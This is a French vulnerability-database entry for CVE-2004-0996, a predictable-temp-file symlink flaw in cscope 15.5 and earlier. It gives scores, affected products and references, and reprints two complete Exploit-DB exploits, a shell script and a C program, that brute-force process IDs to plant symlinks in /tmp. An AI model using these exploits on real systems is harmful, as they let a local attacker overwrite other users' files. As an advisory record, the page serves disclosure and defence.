CVE-2004-0996 : Détail

CVE-2004-0996

0.04%V3
Local
2004-12-01
04h00 +00:00
2017-07-10
12h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

main.c in cscope 15-4 and 15-5 creates temporary files with predictable filenames, which allows local users to overwrite arbitrary files via a symlink attack.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 2.1 AV:L/AC:L/Au:N/C:N/I:P/A:N [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 24749

Date de publication : 2004-11-16 23h00 +00:00
Auteur : Gangstuck
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/11697/info Cscope creates temporary files in an insecure way. A design error causes the application to fail to verify the presence of a file before writing to it. During execution, the utility reportedly creates temporary files in the system's temporary directory, '/tmp', with predictable names. This allows attackers to create malicious symbolic links that Cscope will write to when an unsuspecting user executes it. Attackers may leverage these issues to overwrite arbitrary files with the privileges of an unsuspecting user that activates the vulnerable application. Versions up to and including Cscope 15.5 are reported vulnerable. #!/bin/sh ################################################################# # RXcscope_proof.sh # brute force case baby # cscope advisory and exploit by Gangstuck / Psirac <[email protected]> ################################################################# HOWM=30 CURR=`ps | grep ps | awk '{print $1}'` NEXT=`expr $CURR + 5 + $HOWM \* 2 + 1` LAST=`expr $NEXT + $HOWM` echo -e "\n--= Cscope Symlink Vulnerability Exploitation =--\n"\ " [versions 15.5 and minor]\n"\ " Gangstuck / Psirac\n"\ " <[email protected]>\n\n" if [ $# -lt 1 ]; then echo "Usage: $0 <file1> [number_of_guesses]" exit 1 fi rm -f /tmp/cscope* echo "Probed next process id ........ [${NEXT}]" while [ ! "$NEXT" -eq "$LAST" ]; do ln -s $1 /tmp/cscope${NEXT}.1; NEXT=`expr $NEXT + 1` ln -s $1 /tmp/cscope${NEXT}.2; NEXT=`expr $NEXT + 1` done
Exploit Database EDB-ID : 24750

Date de publication : 2004-11-16 23h00 +00:00
Auteur : Gangstuck
EDB Vérifié : Yes

// source: https://www.securityfocus.com/bid/11697/info Cscope creates temporary files in an insecure way. A design error causes the application to fail to verify the presence of a file before writing to it. During execution, the utility reportedly creates temporary files in the system's temporary directory, '/tmp', with predictable names. This allows attackers to create malicious symbolic links that Cscope will write to when an unsuspecting user executes it. Attackers may leverage these issues to overwrite arbitrary files with the privileges of an unsuspecting user that activates the vulnerable application. Versions up to and including Cscope 15.5 are reported vulnerable. /* RXcscope exploit version 15.5 and minor */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BSIZE 64 int main(int ac, char *av[]) { pid_t cur; u_int i=0, lst; char buffer[BSIZE + 1]; fprintf(stdout, "\n --[ Cscope Exploit ]--\n"\ " version 15.5 and minor \n" \ " Gangstuck / Psirac\n" \ " <[email protected]>\n\n"); if (ac != 3) { fprintf(stderr, "Usage: %s <target> <max file creation>\n", av[0]); return 1; } cur=getpid(); lst=cur+atoi(av[2]); fprintf(stdout, " -> Current process id is ..... [%5d]\n" \ " -> Last process id is ........ [%5d]\n", cur, lst); while (++cur != lst) { snprintf(buffer, BSIZE, "%s/cscope%d.%d", P_tmpdir, cur, (i==2) ? --i : ++i); symlink(av[1], buffer); } return 0; }

Products Mentioned

Configuraton 0

Cscope>>Cscope >> Version 13.0

    Cscope>>Cscope >> Version 15.1

      Cscope>>Cscope >> Version 15.3

        Cscope>>Cscope >> Version 15.4

          Cscope>>Cscope >> Version 15.5

            Configuraton 0

            Debian>>Debian_linux >> Version 3.0

            Debian>>Debian_linux >> Version 3.0

              Debian>>Debian_linux >> Version 3.0

                Debian>>Debian_linux >> Version 3.0

                  Debian>>Debian_linux >> Version 3.0

                    Debian>>Debian_linux >> Version 3.0

                      Debian>>Debian_linux >> Version 3.0

                        Debian>>Debian_linux >> Version 3.0

                          Debian>>Debian_linux >> Version 3.0

                            Debian>>Debian_linux >> Version 3.0

                              Debian>>Debian_linux >> Version 3.0

                                Debian>>Debian_linux >> Version 3.0

                                  Gentoo>>Linux >> Version *

                                  Sco>>Unixware >> Version 7.1.1

                                    Sco>>Unixware >> Version 7.1.3

                                      Sco>>Unixware >> Version 7.1.4

                                        Références

                                        http://www.vupen.com/english/advisories/2007/2732
                                        Tags : vdb-entry, x_refsource_VUPEN
                                        http://www.securityfocus.com/archive/1/381611
                                        Tags : mailing-list, x_refsource_BUGTRAQ
                                        http://www.securityfocus.com/archive/1/381443
                                        Tags : mailing-list, x_refsource_BUGTRAQ
                                        http://www.securityfocus.com/bid/11697
                                        Tags : vdb-entry, x_refsource_BID
                                        http://www.debian.org/security/2004/dsa-610
                                        Tags : vendor-advisory, x_refsource_DEBIAN
                                        http://marc.info/?l=bugtraq&m=110133485519690&w=2
                                        Tags : mailing-list, x_refsource_BUGTRAQ
                                        http://www.securityfocus.com/archive/1/381506
                                        Tags : mailing-list, x_refsource_BUGTRAQ
                                        http://www.securityfocus.com/bid/25159
                                        Tags : vdb-entry, x_refsource_BID
                                        http://www.gentoo.org/security/en/glsa/glsa-200412-11.xml
                                        Tags : vendor-advisory, x_refsource_GENTOO
                                        http://secunia.com/advisories/26235
                                        Tags : third-party-advisory, x_refsource_SECUNIA